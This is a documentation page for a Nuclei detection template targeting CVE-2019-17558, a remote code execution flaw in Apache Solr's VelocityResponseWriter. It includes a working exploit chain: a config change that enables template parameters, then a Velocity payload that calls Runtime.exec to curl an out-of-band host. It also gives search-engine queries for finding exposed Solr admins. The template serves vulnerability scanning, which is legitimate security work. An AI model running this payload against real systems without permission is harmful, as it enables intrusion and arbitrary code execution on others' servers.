Skip to content
Nuclei Templates

Apache Solr <=8.3.1 - Remote Code Execution

ID: CVE-2019-17558

Severity: high

Author: pikpikcu,madrobot

Tags: cve,cve2019,kev,packetstorm,apache,rce,solr,oast

Description

Section titled “Description”

Apache Solr versions 5.0.0 to 8.3.1 are vulnerable to remote code execution vulnerabilities through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset velocity/ directory or as a parameter. A user defined configset could contain renderable, potentially malicious, templates. Parameter provided templates are disabled by default, but can be enabled by setting params.resource.loader.enabled by defining a response writer with that setting set to true. Defining a response writer requires configuration API access. Solr 8.4 removed the params resource loader entirely, and only enables the configset-provided template rendering when the configset is trusted (has been uploaded by an authenticated user).

YAML Source

Section titled “YAML Source”
id: CVE-2019-17558


info:
  name: Apache Solr <=8.3.1 - Remote Code Execution
  author: pikpikcu,madrobot
  severity: high
  description: Apache Solr versions 5.0.0 to 8.3.1 are vulnerable to remote code execution vulnerabilities through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset `velocity/ directory or as a parameter. A user defined configset could contain renderable, potentially malicious, templates. Parameter provided templates are disabled by default, but can be enabled by setting `params.resource.loader.enabled by defining a response writer with that setting set to `true`. Defining a response writer requires configuration API access. Solr 8.4 removed the params resource loader entirely, and only enables the configset-provided template rendering when the configset is `trusted` (has been uploaded by an authenticated user).
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade to a patched version of Apache Solr (8.4.0 or later) to mitigate this vulnerability.
  reference:
    - https://issues.apache.org/jira/browse/SOLR-13971
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17558
    - https://lists.apache.org/thread.html/rb964fe5c4e3fc05f75e8f74bf6b885f456b7a7750c36e9a8045c627a@%3Cissues.lucene.apache.org%3E
    - http://packetstormsecurity.com/files/157078/Apache-Solr-8.3.0-Velocity-Template-Remote-Code-Execution.html
    - https://lists.apache.org/thread.html/r0b7b9d4113e6ec1ae1d3d0898c645f758511107ea44f0f3a1210c5d5@%3Cissues.lucene.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.5
    cve-id: CVE-2019-17558
    cwe-id: CWE-74
    epss-score: 0.97517
    epss-percentile: 0.99985
    cpe: cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: apache
    product: solr
    shodan-query:
      - cpe:"cpe:2.3:a:apache:solr"
      - http.title:"apache solr"
      - http.title:"solr admin"
    fofa-query:
      - title="solr admin"
      - title="apache solr"
    google-query:
      - intitle:"apache solr"
      - intitle:"solr admin"
  tags: cve,cve2019,kev,packetstorm,apache,rce,solr,oast


http:
  - raw:
      - |
        GET /solr/admin/cores?wt=json HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /solr/{{core}}/config HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json


        {
            "update-queryresponsewriter": {
              "startup": "lazy",
              "name": "velocity",
              "class": "solr.VelocityResponseWriter",
              "template.base.dir": "",
              "solr.resource.loader.enabled": "true",
              "params.resource.loader.enabled": "true"
            }
        }
      - |
        GET /solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27curl%20{{interactsh-url}}%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
        Host: {{Hostname}}
        Connection: close


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        name: core
        group: 1
        regex:
          - '"name"\:"(.*?)"'
        internal: true
# digest: 490a004630440220446c5db7d2e061d805cf1df234eda01c1e308347b758fc78e76ea6a9da19869002200932ba404dbac4ad51e899356c4f6114a5a742822579163b6de45a154aa3b661:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-17558.yaml"

View on Github